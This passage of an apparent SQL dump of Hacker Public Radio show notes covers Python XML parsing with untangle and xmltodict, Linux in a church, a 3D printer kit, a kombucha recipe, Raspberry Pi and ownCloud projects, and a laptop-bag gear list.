<code>title</code> child, you look at the <code>para</code> child:</p>\r\n<pre><code>&gt;&gt;&gt; data.book.chapter[0].para.cdata.strip()\r\n&#39;This is the first paragraph.&#39;\r\n&gt;&gt;&gt; data.book.chapter[1].para.cdata.strip()\r\n&#39;Last para of last chapter.&#39;</code></pre>\r\n<p>You can also iterate over items:</p>\r\n<pre><code>&gt;&gt;&gt; COUNT = [0,1]\r\n&gt;&gt;&gt; for TICK in COUNT:\r\n...     print(data.book.chapter[TICK])\r\nElement &lt;chapter&gt; with attributes {&#39;id&#39;: &#39;prologue&#39;} and children\r\n[Element(name = title, attributes = {}, cdata = The Beginning ),\r\nElement(name = para, attributes = {}, cdata = This is the first paragraph.)]\r\n\r\nElement &lt;chapter&gt; with attributes {&#39;id&#39;: &#39;end&#39;} and children\r\n[Element(name = title, attributes = {}, cdata = The Ending ),\r\nElement(name = para, attributes = {}, cdata = Last para of last chapter.)]</code></pre>\r\n<p>And so on.</p>\r\n<h3 id=\"easy-and-fast\">Easy and Fast</h3>\r\n<p>I\'ll admit the data structure of the classes does look odd, and you could probably argue it\'s not the cleanest and most elegant of all output; it\'s unnerving to see empty <code>cdata</code> fields or to constantly run into the need to <code>strip()</code> whitespace. However, the ease and speed and intuitiveness of parsing XML with <code>untangle</code> is usually well worth any trade-offs.</p>\r\n<p>[EOF]</p>\r\n<p>Made on Free Software.</p>\r\n',78,38,1,'CC-BY-SA','python, parse, xml',0,0,1),
(2013,'2016-04-20','Parsing XML in Python with Xmltodict',849,'A quick introduction to xmltodict, an XML parser for Python.','<p>\r\nIf Untangle is too simple for your XML parsing needs, check out xmltodict. Like untangle, xmltodict is simpler than the usual suspects (lxml, beautiful soup), but it\'s got some advanced features as well.\r\n</p>\r\n<p>If you\'re reading this article, I assume you\'ve read at least the introduction to my article about <a href=\"https://hackerpublicradio.org/eps.php?id=2012\">Untangle</a>, and you should probably also read, at some point, my article on using <a href=\"https://hackerpublicradio.org/eps.php?id=2010\">JSON</a> just so you know your options.</p>\r\n<p>Quick re-cap about XML:</p>\r\n<p>XML is a way of storing data in a hierarchical arrangement so that the data can be parsed later. It\'s explicit and strictly structured, so one of its benefits is that it paints a fairly verbose definition of data. Here\'s an example of some simple XML:</p>\r\n<pre><code>&lt;?xml version=&quot;1.0&quot;?&gt;\r\n&lt;book&gt;\r\n   &lt;chapter id=&quot;prologue&quot;&gt;\r\n      &lt;title&gt;\r\n     The Beginning\r\n  &lt;/title&gt;\r\n      &lt;para&gt;\r\n     This is the first paragraph.\r\n      &lt;/para&gt;\r\n    &lt;/chapter&gt;\r\n\r\n    &lt;chapter id=&quot;end&quot;&gt;\r\n      &lt;title&gt;\r\n     The Ending\r\n  &lt;/title&gt;\r\n      &lt;para&gt;\r\n     Last para of last chapter.\r\n      &lt;/para&gt;\r\n    &lt;/chapter&gt;\r\n&lt;/book&gt;</code></pre>\r\n<p>And here\'s some info about the <code>xmltodict</code> library that makes parsing that a lot easier than the built-in Python tools:</p>\r\n<h2 id=\"install\">Install</h2>\r\n<p>Install <code>xmltodict</code> manually, or from your repository, or using <code>pip</code>:</p>\r\n<pre><code>$ pip install xmltodict</code></pre>\r\n<p>or if you need to install it locally:</p>\r\n<pre><code>$ pip install --user xmltodict</code></pre>\r\n<h2 id=\"xmltodict\">Xmltodict</h2>\r\n<p>With <code>xmltodict</code>, each element in an XML document gets converted into a dictionary (specifically an <code>OrderedDictionary</code>), which you then treat basically the same as you would JSON (or any Python OrderedDict).</p>\r\n<p>First, ingest the XML document. Assuming it\'s called <code>sample.xml</code> and is located in the current directory:</p>\r\n<pre><code>&gt;&gt;&gt; import xmltodict\r\n&gt;&gt;&gt; with open(&#39;sample.xml&#39;) as f:\r\n...     data = xmltodict.parse(f.read())</code></pre>\r\n<p>If you\'re a visual thinker, you might want or need to see the data. You can look at it just by dumping data:</p>\r\n<pre><code>&gt;&gt;&gt; data\r\nOrderedDict([(&#39;book&#39;, OrderedDict([(&#39;chapter&#39;,\r\n[OrderedDict([(&#39;@id&#39;, &#39;prologue&#39;),\r\n(&#39;title&#39;, &#39;The Beginning&#39;),\r\n...and so on...</code></pre>\r\n<p>Not terribly pretty to look at. Slightly less ugly is your data set piped through <code>json.dumps</code>:</p>\r\n<pre><code>&gt;&gt;&gt; import json\r\n&gt;&gt;&gt; json.dumps(data)\r\n&#39;{&quot;book&quot;: {&quot;chapter&quot;: [{&quot;@id&quot;: &quot;prologue&quot;,\r\n&quot;title&quot;: &quot;The Beginning&quot;, &quot;para&quot;: &quot;This is the first paragraph.&quot;},\r\n{&quot;@id&quot;: &quot;end&quot;, &quot;title&quot;: &quot;The Ending&quot;,\r\n&quot;para&quot;: &quot;This is the last paragraph of the last chapter.&quot;}]\r\n}}&#39;</code></pre>\r\n<p>You can try other feats of pretty printing, if they help:</p>\r\n<pre><code>&gt;&gt;&gt; pp = pprint.PrettyPrinter(indent=4)\r\n&gt;&gt;&gt; pp.pprint(data)\r\n{ &#39;book&#39;: { &#39;chapter&#39;: [{&#39;@id&#39;: &#39;prologue&#39;,\r\n                         &#39;title&#39;: &#39;The Beginning&#39;,\r\n             &#39;para&#39;: &#39;This is the ...\r\n                         ...and so on...                 </code></pre>\r\n<p>More often than not, though, you\'re going to be &quot;walking&quot; the XML tree, looking for specific points of interest. This is fairly easy to do, as long as you remember that syntactically you\'re dealing with a Python dict, while structurally, inheritance matters.</p>\r\n<h3 id=\"elements-tags\">Elements (Tags)</h3>\r\n<p>Exploring the data element-by-element is very easy. Calling your data set by its root element (in our current example, that would be <code>data[\'book\']</code>) would return the entire data set under the <code>book</code> tag. We\'ll skip that and drill down to the <code>chapter</code> level:</p>\r\n<pre><code>&gt;&gt;&gt; data[&#39;book&#39;][&#39;chapter&#39;]\r\n[OrderedDict([(&#39;@id&#39;, &#39;prologue&#39;), (&#39;title&#39;, &#39;The Beginning&#39;),\r\n(&#39;para&#39;, &#39;This is the first paragraph.&#39;)]),\r\nOrderedDict([(&#39;@id&#39;, &#39;end&#39;), (&#39;title&#39;, &#39;The Ending&#39;),\r\n(&#39;para&#39;, &#39;Last paragraph of last chapter.&#39;)])]</code></pre>\r\n<p>Admittedly, it\'s still a lot of data to look at, but you can see the structure.</p>\r\n<p>Since we have two chapters, we can enumerate which chapter to select, if we want. To see the zeroeth chapter:</p>\r\n<pre><code>&gt;&gt;&gt; data[&#39;book&#39;][&#39;chapter&#39;][0]\r\nOrderedDict([(&#39;@id&#39;, &#39;prologue&#39;),\r\n(&#39;title&#39;, &#39;The Beginning&#39;),\r\n(&#39;para&#39;, &#39;This is the first paragraph.&#39;)])</code></pre>\r\n<p>Or the first chapter:</p>\r\n<pre><code>&gt;&gt;&gt; data[&#39;book&#39;][&#39;chapter&#39;][1]\r\nOrderedDict([(&#39;@id&#39;, &#39;end&#39;), (&#39;title&#39;, &#39;The Ending&#39;),\r\n(&#39;para&#39;, &#39;Last paragraph of last chapter.&#39;)])</code></pre>\r\n<p>And of course, you can continue narrowing your focus:</p>\r\n<pre><code>&gt;&gt;&gt; data[&quot;book&quot;][&quot;chapter&quot;][0][&#39;para&#39;]\r\n&#39;This is the first paragraph.&#39;</code></pre>\r\n<p>It\'s sort of like Xpath for toddlers. Having had to work with Xpath, I\'m happy to have this option.</p>\r\n<h3 id=\"attributes\">Attributes</h3>\r\n<p>You may have already noticed that in the dict containing our data, there is some special notation happening. For instance, there is no <code>@id</code> element in our XML, and yet that appears in the dict.</p>\r\n<p><code>Xmltodict</code> uses the <code>@</code> symbol to signify an attribute of an element. So to look at the attribute of an element:</p>\r\n<pre><code>&gt;&gt;&gt; data[&#39;book&#39;][&#39;chapter&#39;][0][&#39;@id&#39;]\r\n&#39;prologue&#39;</code></pre>\r\n<p>If you need to see each attribute of each chapter tag, just iterate over the dict. A simple example:</p>\r\n<pre><code>&gt;&gt;&gt; for c in range(0,2):\r\n...     data[&#39;book&#39;][&#39;chapter&#39;][c][&#39;@id&#39;]\r\n...\r\n&#39;prologue&#39;\r\n&#39;end&#39;</code></pre>\r\n<h3 id=\"contents\">Contents</h3>\r\n<p>In addition to special notation for attributes, <code>xmltodict</code> uses the <code>#</code> prefix to denote contents of complex elements. To show this example, I\'ll make a minor modification to <code>sample.xml</code>:</p>\r\n<pre><code>&lt;?xml version=&quot;1.0&quot;?&gt;\r\n&lt;book&gt;\r\n   &lt;chapter id=&quot;prologue&quot;&gt;\r\n      &lt;title&gt;\r\n     The Beginning\r\n  &lt;/title&gt;\r\n      &lt;para class=&quot;linux&quot;&gt;\r\n     This is the first paragraph.\r\n      &lt;/para&gt;\r\n    &lt;/chapter&gt;\r\n\r\n    &lt;chapter id=&quot;end&quot;&gt;\r\n      &lt;title&gt;\r\n     The Ending\r\n  &lt;/title&gt;\r\n      &lt;para class=&quot;linux&quot;&gt;\r\n     Last para of last chapter.\r\n      &lt;/para&gt;\r\n    &lt;/chapter&gt;\r\n&lt;/book&gt;</code></pre>\r\n<p>Notice that the <code>&lt;para&gt;</code> elements now have a <code>linux</code> attribute, and also contain text content (unlike <code>&lt;chapter&gt;</code> elements, which have attributes but only contain other elements).</p>\r\n<p>Look at this data structure:</p>\r\n<pre><code>&gt;&gt;&gt; import xmltodict\r\n&gt;&gt;&gt; with open(&#39;sample.xml&#39;) as g:\r\n...     data = xmltodict.parse(g.read())\r\n&gt;&gt;&gt; data[&#39;book&#39;][&#39;chapter&#39;][0]\r\nOrderedDict([(&#39;@id&#39;, &#39;prologue&#39;),\r\n(&#39;title&#39;, &#39;The Beginning&#39;),\r\n(&#39;para&#39;, OrderedDict([(&#39;@class&#39;, &#39;linux&#39;),\r\n(&#39;#text&#39;, &#39;This is the first paragraph.&#39;)]))])</code></pre>\r\n<p>There is a new entry in the dictionary: <code>#text</code>. It contains the text content of the <code>&lt;para&gt;</code> tag and is accessible in the same way that an attribute is:</p>\r\n<pre><code>&gt;&gt;&gt; data[&#39;book&#39;][&#39;chapter&#39;][0][&#39;para&#39;][&#39;#text&#39;]\r\n&#39;This is the first paragraph.&#39;</code></pre>\r\n<h3 id=\"advanced\">Advanced</h3>\r\n<p>The <code>xmltodict</code> module supports XML namespaces and can also dump your data back into XML. For more documentation on this, have a look at the module on <a href=\"https://github.com/martinblech/xmltodict\">github.com/martinblech/xmltodict</a>.</p>\r\n<h2 id=\"what-to-use\">What to Use?</h2>\r\n<p>Between <code>untangle</code>, <code>xmltodict</code>, and JSON, you have pretty good set of options for data parsing. There really are diferent uses for each one, so there\'s not necessarily a &quot;right&quot; or &quot;wrong&quot; answer. Try them out, see what you prefer, and use what is best. If you don\'t know what\'s best, use what you\'re most comfortable with; you can always improve it later.</p>\r\n<p>[EOF]</p>\r\n<p>Made on Free Software.</p>\r\n',78,38,1,'CC-BY-SA','python, parse, xml',0,0,1),
(2015,'2016-04-22','Linux in the Church',1116,'How I\'m using Linux for many of my projects at church.','<p>Linux has been my exclusive OS for many years. When I became the tech director at my church I wanted to utilize the power and freedom of Open Source so I\'m gradually implementing it on many of my projects.</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2015.jpg\">\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2015_small.jpg\" alt=\"Photo of the rig in the church\"/></a>\r\n</p>\r\n',328,0,0,'CC-BY-SA','Linux, Church, Tech, Sound',0,0,1),
(2017,'2016-04-26','Here are my thoughts on a 3D printer Kit.',750,'Bought a 3D printer kit. My thoughts on how it went together.','<p>I purchased a 3D printer kit from AliExpress.</p>\r\n<p><a href=\"https://www.aliexpress.com/item/Free-shipping-High-Quality-Precision-Reprap-Prusa-i3-DIY-3d-Printer-kit-with-2-Roll-Filament/32424257787.html\" class=\"uri\">https://www.aliexpress.com/item/Free-shipping-High-Quality-Precision-Reprap-Prusa-i3-DIY-3d-Printer-kit-with-2-Roll-Filament/32424257787.html</a></p>\r\n<p>Here are some after thoughts on how I liked it, a little overview of 3D printers and why I bought this one.</p>\r\n<p>Pictures of the printer as assembled, and a few items I printed <a href=\"https://www.travestylabs.com/3Dprinter/\" class=\"uri\">https://www.travestylabs.com/3Dprinter/</a></p>\r\n<p>I hope to make this into a series about software, tips and modifications, and other thoughts I have to share about it.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.aliexpress.com/item/Free-shipping-High-Quality-Precision-Reprap-Prusa-i3-DIY-3d-Printer-kit-with-2-Roll-Filament/32424257787.html\" class=\"uri\">https://www.aliexpress.com/item/Free-shipping-High-Quality-Precision-Reprap-Prusa-i3-DIY-3d-Printer-kit-with-2-Roll-Filament/32424257787.html</a></li>\r\n<li><a href=\"https://www.travestylabs.com/3Dprinter/\" class=\"uri\">https://www.travestylabs.com/3Dprinter/</a></li>\r\n</ul>\r\n',307,0,0,'CC-BY-SA','3D printer, RepRap kit',0,0,1),
(2018,'2016-04-27','How to make Komboucha Tea',988,'Here, I describe how to brew your own komboucha tea.','<h1 id=\"how-to-make-kamboucha-tea\">How to Make Kamboucha Tea</h1>\r\n<p><em>Makes about 1 gallon</em></p>\r\n<h3 id=\"ingredients\">Ingredients</h3>\r\n<table>\r\n<thead>\r\n<tr class=\"header\">\r\n<th style=\"text-align: left;\">Ingredient</th>\r\n<th style=\"text-align: left;\">US</th>\r\n<th style=\"text-align: left;\">Metric</th>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr class=\"odd\">\r\n<td style=\"text-align: left;\">water</td>\r\n<td style=\"text-align: left;\">3 1/2 quarts</td>\r\n<td style=\"text-align: left;\">??</td>\r\n</tr>\r\n<tr class=\"even\">\r\n<td style=\"text-align: left;\">white sugar</td>\r\n<td style=\"text-align: left;\">1 cup</td>\r\n<td style=\"text-align: left;\">??</td>\r\n</tr>\r\n<tr class=\"odd\">\r\n<td style=\"text-align: left;\">black tea</td>\r\n<td style=\"text-align: left;\">8 bags (or 2 tablespoons loose tea)</td>\r\n<td style=\"text-align: left;\">??</td>\r\n</tr>\r\n<tr class=\"even\">\r\n<td style=\"text-align: left;\">starter tea from last batch of kombucha or store-bought</td>\r\n<td style=\"text-align: left;\">2 cups</td>\r\n<td style=\"text-align: left;\">??</td>\r\n</tr>\r\n<tr class=\"odd\">\r\n<td style=\"text-align: left;\">scoby</td>\r\n<td style=\"text-align: left;\">1 per fermentation jar</td>\r\n<td style=\"text-align: left;\">N/A</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<p><em>Optional flavoring extras for bottling</em>: 1 to 2 cups chopped fruit, 2 to 3 cups fruit juice, 1 to 2 tablespoons flavored tea (like hibiscus or Earl Grey), 1/4 cup honey, 2 to 4 tablespoons fresh herbs or spices</p>\r\n<p><strong>Equipment</strong></p>\r\n<ul>\r\n<li>Stock pot</li>\r\n<li>1-gallon glass jar or two 2-quart glass jars</li>\r\n<li>Bottles: Six 16-oz glass bottles with plastic lids, 6 swing-top bottles, or clean soda bottles</li>\r\n</ul>\r\n<h3 id=\"instructions\">Instructions</h3>\r\n<p>Note: Avoid prolonged contact between the kombucha and metal both during and after brewing. This can affect the flavor of your kombucha and weaken the scoby over time.</p>\r\n<p><strong>1. Make the Tea Base:</strong> Bring the water to a boil. Remove from heat and stir in the sugar to dissolve. Drop in the tea and allow it to steep until the water has cooled. Depending on the size of your pot, this will take a few hours. You can speed up the cooling process by placing the pot in an ice bath.</p>\r\n<p><strong>2. Add the Starter Tea:</strong> Once the tea is cool, remove the tea bags or strain out the loose tea. Stir in the starter tea. (The starter tea makes the liquid acidic, which prevents unfriendly bacteria from taking up residence in the first few days of fermentation.)</p>\r\n<p><strong>3. Transfer to Jars and Add the Scoby:</strong> Pour the mixture into a 1-gallon glass jar (or divide between two 2-quart jars, in which case you\'ll need 2 scobys) and gently slide the scoby into the jar with clean hands. Cover the mouth of the jar with a few layers of cheesecloth or paper towels secured with a rubber band.</p>\r\n<p><strong>4. Ferment for 7 to 10 Days:</strong> Keep the jar at room temperature, out of direct sunlight, and where it won\'t get jostled. Ferment for 7 to 10 days, checking the kombucha and the scoby periodically.</p>\r\n<p>It\'s not unusual for the scoby to float at the top, bottom, or even sideways. A new cream-colored layer of scoby should start forming on the surface of the kombucha within a few days. It usually attaches to the old scoby, but it\'s ok if they separate. You may also see brown stringy bits floating beneath the scoby, sediment collecting at the bottom, and bubbles collecting around the scoby. This is all normal and signs of healthy fermentation.</p>\r\n<p>After seven days, begin tasting the kombucha daily by pouring a little out of the jar and into a cup. When it reaches a balance of sweetness and tartness that is pleasant to you, the kombucha is ready to bottle.</p>\r\n<p><strong>5. Remove the Scoby:</strong> Before proceeding, prepare and cool another pot of strong tea for your next batch of kombucha, as outlined above. With clean hands, gently lift the scoby out of the kombucha and set it on a clean plate. As you do, check it over and remove the bottom layer if the scoby is getting very thick.</p>\r\n<p><strong>6. Bottle the Finished Kombucha:</strong> Measure out your starter tea from this batch of kombucha and set it aside for the next batch. Pour the fermented kombucha (straining, if desired) into bottles, along with any juice, herbs, or fruit you may want to use as flavoring. Leave about a half inch of head room in each bottle. (Alternatively, infuse the kombucha with flavorings for a day or two in another jar covered with cheesecloth, strain, and then bottle. This makes a cleaner kombucha without &quot;stuff&quot; in it.)</p>\r\n<p><strong>7. Carbonate and Refrigerate the Finished Kombucha:</strong> Store the bottled kombucha at room-temperature out of direct sunlight and allow 1 to 3 days for the kombucha to carbonate. Until you get a feel for how quickly your kombucha carbonates, it\'s helpful to keep it in plastic bottles; the kombucha is carbonated when the bottles feel rock solid. Refrigerate to stop fermentation and carbonation, and then consume your kombucha within a month.</p>\r\n<p><strong>8. Make a Fresh Batch of Kombucha:</strong> Clean the jar being used for kombucha fermentation. Combine the starter tea from your last batch of kombucha with the fresh batch of sugary tea, and pour it into the fermentation jar. Slide the scoby on top, cover, and ferment for 7 to 10 days.</p>\r\n<p><strong>Additional Notes:</strong></p>\r\n<p>• <strong>Batch Size:</strong> To increase or decrease the amount of kombucha you make, maintain the basic ratio of 1 cup of sugar, 8 bags of tea, and 2 cups starter tea per gallon batch. One scoby will ferment any size batch, though larger batches may take longer.</p>\r\n<p>• <strong>Putting Kombucha on Pause:</strong> If you\'ll be away for 3 weeks or less, just make a fresh batch and leave it on your counter. It will likely be too vinegary to drink by the time you get back, but the scoby will be fine. For longer breaks, store the scoby in a fresh batch of the tea base with starter tea in the fridge. Change out the tea for a fresh batch every 4 to 6 weeks.</p>\r\n<p>• <strong>Other Tea Options:</strong> Black tea tends to be the easiest and most reliable for the scoby to ferment into kombucha, but once your scoby is going strong, you can try branching out into other kinds. Green tea, white tea, oolong tea, or a even mix of these make especially good kombucha. Herbal teas are ok, but be sure to use at least a few bags of black tea in the mix to make sure the scoby is getting all the nutrients it needs. Avoid any teas that contain oils, like earl grey or flavored teas.</p>\r\n<p>• <strong>Avoid Prolonged Contact with Metal:</strong> Using metal utensils is generally fine, but avoid fermenting or bottling the kombucha in anything that brings them into contact with metal. Metals, especially reactive metals like aluminum, can give the kombucha a metallic flavor and weaken the scoby over time.</p>\r\n<p><strong>Troubleshooting Kombucha</strong></p>\r\n<p>• It is normal for the scoby to float on the top, bottom, or sideways in the jar. It is also normal for brown strings to form below the scoby or to collect on the bottom. If your scoby develops a hole, bumps, dried patches, darker brown patches, or clear jelly-like patches, it is still fine to use. Usually these are all indicative of changes in the environment of your kitchen and not a problem with the scoby itself.</p>\r\n<p>• Kombucha will start off with a neutral aroma and then smell progressively more vinegary as brewing progresses. If it starts to smell cheesy, rotten, or otherwise unpleasant, this is a sign that something has gone wrong. If you see no signs of mold on the scoby, discard the liquid and begin again with fresh tea. If you do see signs of mold, discard both the scoby and the liquid and begin again with new ingredients.</p>\r\n<p>• A scoby will last a very long time, but it\'s not indestructible. If the scoby becomes black, that is a sign that it has passed its lifespan. If it develops green or black mold, it is has become infected. In both of these cases, throw away the scoby and begin again.</p>\r\n<p>• To prolong the life and maintain the health of your scoby, stick to the ratio of sugar, tea, starter tea, and water outlined in the recipe. You should also peel off the bottom (oldest) layer every few batches. This can be discarded, composted, used to start a new batch of kombucha, or given to a friend to start their own.</p>\r\n<p>• If you\'re ever in doubt about whether there is a problem with your scoby, just continue brewing batches but discard the kombucha they make. If there\'s a problem, it will get worse over time and become very apparent. If it\'s just a natural aspect of the scoby, then it will stay consistent from batch to batch and the kombucha is fine for drinking.</p>\r\n',300,93,0,'CC-BY-SA','tea, cooking, kitchen',0,0,1),
(2019,'2016-04-28','a pi project and an owncloud project',1032,'A short episode where I describe a couple of geeky projects I\'ve been working on','<h2>HPR - A couple of Projects I\'ve been working on</h2>\r\n\r\n<ol>\r\n<li><p>Intro</p>\r\n\r\n<ul>\r\n<li>Please record a show!!!!!</li>\r\n<li>Couple of Projects</li>\r\n</ul></li>\r\n<li><p>Pi Project</p>\r\n\r\n<ul>\r\n<li>Love of Music</li>\r\n<li>Digital, of course and webradio</li>\r\n<li>Sonos, other proprietary solutions</li>\r\n<li>Got a Pi2 for XMas</li>\r\n<li>Pi Music Box</li>\r\n<li>RuneAudio</li>\r\n<li>Arch Based</li>\r\n<li>underlying tech is MPD</li>\r\n<li>flash SD Card</li>\r\n<li>boot with network cable attached</li>\r\n<li>add music and webradios to library</li>\r\n<li>.pls and .m3u files</li>\r\n</ul></li>\r\n<li><p>PhotoFrame Project</p>\r\n\r\n<ul>\r\n<li>proprietary items</li>\r\n<li>tablet/smart phone lying around</li>\r\n<li>ownCloud</li>\r\n<li>update for my parents on the road</li>\r\n</ul></li>\r\n</ol>\r\n\r\n<h3>Links and other Goodies</h3>\r\n\r\n<p><strong>Pi Project</strong> <br/>\r\n<a href=\"https://soma.fm\">SomaFM</a> <br/>\r\n<a href=\"https://www.capradio.org\">Capital Public Radio</a> <br/>\r\n<a href=\"https://www.sonos.com\">Sonos</a> <br/>\r\n<a href=\"https://www.samsung.com/us/support/owners/product/WAM351/ZA\">Samsung Shape</a> <br/>\r\n<a href=\"https://www.pimusicbox.com\">PiMusicBox</a> <br/>\r\n<a href=\"https://www.runeaudio.com\">Rune Audio</a> <br/>\r\n<a href=\"https://www.musicpd.org\">Music Player Daemon</a> <br/>\r\n<a href=\"https://www.amazon.com/AFUNTA-Bus-powered-Interface-Compatible-Operating/dp/B0069L9PZA?ie=UTF8&psc=1&redirect=true&ref_=oh_aui_detailpage_o04_s00\">USB Audio Dongle (amazon link... NOT an affiliate link)</a>  </p>\r\n\r\n<p><strong>PicFrame Project</strong> <br/>\r\n<a href=\"https://www.owncloud.org\">ownCloud</a> <br/>\r\n<a href=\"https://www.amazon.com/Fire-HD-Display-Wi-Fi-GB/dp/B00KC6I06S\">Kindle Fire HD 6</a> <br/>\r\n<a href=\"https://apps.owncloud.com/content/show.php/picframe-owncloud?content=174617\">PicFrame</a> <br/>\r\n<a href=\"https://github.com/PicFrame/picframe\">PicFrame Android App</a>  </p>\r\n\r\n<p><strong>Contact Info</strong> <br/>\r\nMatt McGraw - matty at the strangeland dot net <br/>\r\n<a href=\"https://geekdad.thestrangeland.net\">Stay-At-Home G33k Dad ~ Fatherhood in the digital age</a> <br/>\r\n<a href=\"https://www.twitter.com/sahg33kdad\">@sahg33kdad</a> <br/>\r\nGoogle+ www.google.com/+MattMcGraw  </p>\r\n\r\n<p>\r\nThe following link includes a photo of the RPi in the bookshelf with the stereo as well as a screenshot of the Rune Audio app running on my Android phone.\r\n<br />\r\n<a href=\"https://cloud.thestrangeland.net/index.php/s/CdbU1povrcproZQ\">https://cloud.thestrangeland.net/index.php/s/CdbU1povrcproZQ</a>\r\n</p>\r\n\r\n',255,0,1,'CC-BY-SA','Raspberry Pi,RuneAudio,MPD,Music Player Daemon,ownCloud,PiMusicBox,PicFrame',0,0,1),
(2020,'2016-04-29','Automotive Billing',2020,'How I bill for automotive repairs','<p>\r\nI get a call to look at my friend\'s broke down car.\r\n</p>',329,0,1,'CC-BY-SA','Automotive, Billing, Overhead, Repair, Process',0,0,1),
(2022,'2016-05-03','Whats in my bag',1587,'What I carry in my computer bag when I hit the road.','<ul>\r\n<li><p>Swissgear messenger bag<br />\r\n <a href=\"https://www.conrad.com/ce/en/product/977572/Swissgear-Yukon-156-to-173-Laptop-Bag-Wenger-SwissGear-SWISSGEAR-173-Black\" class=\"uri\">https://www.conrad.com/ce/en/product/977572/Swissgear-Yukon-156-to-173-Laptop-Bag-Wenger-SwissGear-SWISSGEAR-173-Black</a> (this link is to a newer version, closest I could find to my 7 year old bag)<br />\r\n This bag has been with me since 2009, and for about the last 3 years did double duty, carrying both of my laptops with other assorted gear, and has held up beautifully, No fabric wear, not a stitch or seam broken anywhere. Both zippers are intact and still pull smooth and easily, they haven\'t even lost the pull-tabs (usually my first issue with any zipper). The handle and the shoulder strap are reasonably comfortable (for a single shoulder strap) and show no signs of wear either. Can\'t recommend this bag enough if you are looking for a tough messenger bag. If you are going to haul 2 laptops around (plus gear) I would strongly recommend something with 2 shoulder straps though, if you\'re doing any serious walking about.</p></li>\r\n<li><p>Toshiba Satellite P855-S5312<br />\r\n <a href=\"https://www.cnet.com/products/toshiba-satellite-p855-s5312-15-6-core-i5-3210m-windows-8-6-gb-ram-750-gb-hdd-series/specs/\" class=\"uri\">https://www.cnet.com/products/toshiba-satellite-p855-s5312-15-6-core-i5-3210m-windows-8-6-gb-ram-750-gb-hdd-series/specs/</a><br />\r\nI beefed up the ram to 16gb and removed the optical drive in order to install a second hard drive. I also replaced the original 750gb spinning HDD. The new drives were both samsung evo 500gb SSD\'s. <a href=\"https://www.newegg.com/Product/Product.aspx?Item=9SIA2W02DV8166\" class=\"uri\">https://www.newegg.com/Product/Product.aspx?Item=9SIA2W02DV8166</a> My only real gripe about this laptop is the screen resolution, which maxes out at 1366x768. IMHO, this is a waste of real estate on a 15.6 inch screen. I am looking into this, but replacement with a higher resolution screen seems to be unfeasible, from what I am reading. ( IF YOU HAVE SUGGESTIONS OR KNOW OF A SOLUTION I WOULD LOVE TO HEAR ABOUT IT!!)</p></li>\r\n<li><p>The old HP Pavillion dv5-1235dx<br />\r\n <a href=\"https://www.cnet.com/products/hp-pavilion-dv5-1235dx-15-4-core-2-duo-t6400-vista-home-premium-64-bit-4-gb-ram-320-gb-hdd-series/specs/\" class=\"uri\">https://www.cnet.com/products/hp-pavilion-dv5-1235dx-15-4-core-2-duo-t6400-vista-home-premium-64-bit-4-gb-ram-320-gb-hdd-series/specs/</a><br />\r\n(I dont presently haul this one around anymore) Got this one in \'09. nice screen doing 1680x1050 , but I didn\'t care for the plastic housing. I like the metal case on the toshiba. - although older, I really liked this laptop, and still prefer the keyboard (although somewhat cramped) over the one on my Toshiba. The feel of the keys themselves and the distinctive stroke and light click as you press down through the detent, just feels better than the chiclet keyboard on my newer machine. Incidentally, I once spilled a rum and coke across this thing, keyboard and all, while it was powered down. After dry out and a good cleaning, it fired up and still works. I don\'t recommend trying to re create this experiment though. Dumb luck, I suppose. I was sure it would be a deader.</p></li>\r\n<li><p>Wacom intuos cth480 pen/touch tablet<br />\r\n <a href=\"https://www.amazon.com/Wacom-Intuos-Tablet-Certified-Refurbished/dp/B00Q7FU5YS\" class=\"uri\">https://www.amazon.com/Wacom-Intuos-Tablet-Certified-Refurbished/dp/B00Q7FU5YS</a><br />\r\n (this thing isn\'t available in this form anymore) these are very nice and work out of the box for me on debian, and mint, (cant speak for other distros). Getting the pen\'s pressure sensitivity settings in some drawing programs (krita, gimp, etc) can sometimes be a bit fiddly and sometimes hard to find. Overall works quite well, although I am not a professional artist. Trucker, remember? Fun to play with, and reasonably small so its good travel size.</p></li>\r\n<li>Toshiba 2TB \'canvio\' portable hard drive<br />\r\n</li>\r\n<li><p>Western Digital 2TB \'my passport ultra\' portable hard drive<br />\r\nI carry one of these (WD) for extra storage and backups of my laptop. The other ( the Toshiba) I use mostly for storage of my movies and TV series collections (gotta have your firefly fix, right?). As to which one is better, I prefer the case on the Toshiba, just seems more durable in that high impact plastic, but I will let you know when one of them fails me :)</p></li>\r\n</ul>\r\n<p>and for those real long distance wifi signals (and/or getting into monitor mode):</p>\r\n<ul>\r\n<li><p>TP-LINK TL-WN722N Wireless N150 High Gain USB Adapter (wifi antennae) 150Mbps <a href=\"https://www.amazon.com/TP-LINK-TL-WN722N-Wireless-Adapter-External/dp/B002SZEOLG?ie=UTF8&amp;psc=1&amp;redirect=true&amp;ref_=oh_aui_search_detailpage\" class=\"uri\">https://www.amazon.com/TP-LINK-TL-WN722N-Wireless-Adapter-External/dp/B002SZEOLG?ie=UTF8&amp;psc=1&amp;redirect=true&amp;ref_=oh_aui_search_detailpage</a></p></li>\r\n<li><p>Alfa AWUS036H High power 1000mW with 5dBi Rubber Antenna and a 7dBi Panel Antenna <a href=\"https://www.amazon.com/Alfa-Awus036H-Upgraded-Long-Rang-Panel/dp/B003YHYIT0?ie=UTF8&amp;psc=1&amp;redirect=true&amp;ref_=oh_aui_search_detailpage\" class=\"uri\">https://www.amazon.com/Alfa-Awus036H-Upgraded-Long-Rang-Panel/dp/B003YHYIT0?ie=UTF8&amp;psc=1&amp;redirect=true&amp;ref_=oh_aui_search_detailpage</a></p></li>\r\n<li><p>NooElec R820T SDR &amp; DVB-T NESDR Mini<br />\r\n A lightweight toy for playing with software defined radio (SDR) programs, which you can see at nooelec.com if you want</p></li>\r\n<li><p>IFIXIT 54 bit driver kit, very handy for ripping open your gear. Crappy tools make for a crappy day, right?</p></li>\r\n<li><p>&quot;disposable&quot; reading glasses<br />\r\n<a href=\"https://www.amazon.com/Valupac-Reading-Glasses-Include-Gunmetal/dp/B00JRNIHWY?ie=UTF8&amp;psc=1&amp;redirect=true&amp;ref_=oh_aui_search_detailpage\" 